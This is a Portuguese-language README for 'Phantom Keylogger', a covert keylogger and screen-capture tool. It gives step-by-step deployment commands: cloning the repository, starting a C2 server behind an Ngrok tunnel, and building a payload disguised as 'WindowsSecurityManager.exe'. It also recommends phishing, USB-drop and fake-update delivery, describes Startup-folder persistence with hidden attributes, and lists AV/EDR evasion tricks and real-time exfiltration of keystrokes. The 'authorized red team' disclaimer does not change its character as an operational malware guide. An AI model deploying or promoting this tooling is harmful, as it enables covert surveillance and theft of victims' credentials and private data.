Phantom Keylogger

🎯 BRIEFING DA MISSÃO

Phantom Keylogger é um sistema avançado e furtivo de captura de teclas e coleta de inteligência visual. Construído com a segurança operacional como objetivo principal, esta ferramenta fornece capacidades de vigilância persistente, mantendo o mínimo de vestígios em sistemas alvo durante operações autorizadas de red team.

⚠️ PROTOCOLOS OPERACIONAIS

CASOS DE USO AUTORIZADOS:
- Operações autorizadas de teste de penetração
- Exercícios de red team com Regras de Engajamento escritas
- Pesquisa de segurança em ambientes controlados
- Validação de controles defensivos de segurança

OPERAÇÕES PROIBIDAS:
- Atividades de vigilância não autorizadas
- Invasão ou exfiltração de dados ilegais
- Violação de privacidade pessoal
- Qualquer operação ofensiva não autorizada

OPERADORES ASSUMEM TOTAL RESPONSABILIDADE LEGAL PELA IMPLANTAÇÃO ADEQUADA

🛡️ CAPACIDADES OPERACIONAIS

Módulos de Coleta de Inteligência

• Interceptação de Teclas: Captura avançada de teclado com tradução de teclas especiais
• Vigilância Visual: Captura automatizada de tela em intervalos configuráveis
• Reconhecimento do Sistema: Coleta de hostname, nome de usuário e dados do ambiente
• Implantação Persistente: Monitoramento contínuo com mecanismos automáticos de recuperação

Recursos de Segurança Operacional

• Zero Pegada na Interface do Usuário: Completamente invisível para os usuários finais
• Mecanismos de Persistência: Instalação automática na inicialização
• Anti-Forense: Proteção de instância única baseada em mutex
• Ofuscação do Sistema de Arquivos: Atributos ocultos e nomenclatura legítima

🚀 IMPLANTAÇÃO OPERACIONAL

Fase 1: Infraestrutura de Comando & Controle

# 1. Clonar repositório operacional
git clone https://github.com/MattiaAlessi/phantom-keylogger
cd phantom-keylogger

# 2. Instalar dependências operacionais
pip install -r requirements.txt

# 3. Implantar servidor C2
python server.py

Fase 2: Geração de Payload

# Gerar executável furtivo
python build.py

Saída: dist/WindowsSecurityManager.exe

Fase 3: Implantação no Alvo

Métodos de Entrega:

• Campanhas de Phishing: Macros de documentos ou instaladores falsos
• Acesso Físico: Ataques de USB drop
• Movimentação Lateral: Compartilhamentos internos comprometidos
• Engenharia Social: Atualizações falsas de software

Fase 4: Ferramenta visual

# Iniciar a interface GUI 
python manager.py

🔧 ESPECIFICAÇÕES TÉCNICAS

Visão Geral da Arquitetura

┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│   ALVO          │    │   TÚNEL C2       │    │   OPERADOR      │
│                 │    │                  │    │                 │
│  ┌─────────────┐│    │  ┌─────────────┐ │    │  ┌─────────────┐│
│  │ Keylogger   ││    │  │ Ngrok       │ │    │  │ Console de  ││
│  │ Furtivo     ├───────►│ Túnel       ├───────►│ Gerenciamento││
│  │             ││    │  │             │ │    │  │             ││
│  └─────────────┘│    │  └─────────────┘ │    │  └─────────────┘│
└─────────────────┘    └──────────────────┘    └─────────────────┘

Mecanismos de Persistência

Pasta de Inicialização: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
Facilmente acessível digitando shell:startup na caixa de diálogo (WIN+r) Nome do Arquivo: WindowsSecurityManager.exe
Atributos: Arquivo oculto do sistema

🛡️ TÉCNICAS DE EVASÃO DE DEFESAS

Métodos de Bypass de AV/EDR

• Nomenclatura Legítima: Usa nomes relacionados à segurança do Windows
• Ofuscação Comportamental: Padrões normais de processos do sistema
• Mistura de Rede: Tráfego HTTPS para domínios de aparência legítima
• Operações de Memória: Nenhuma chamada de API ou injeção suspeita

Medidas de Segurança Operacional

• Nenhum Artefato Local: Todos os dados transmitidos remotamente por canais criptografados
• Ferramentas Padrão: Utiliza apenas bibliotecas Python comuns e na lista de permissões
• Procedimentos de Saída Limpa: Nenhum dump de crash ou artefato forense deixado

📊 MÉTRICAS OPERACIONAIS

• Evasão de Detecção: Testado com sucesso contra várias soluções de segurança com múltiplos Antivírus instalados
• Exfiltração de Dados: Transmissão criptografada em tempo real para C2
• Tempo de Atividade Operacional: Monitoramento contínuo com recuperação automática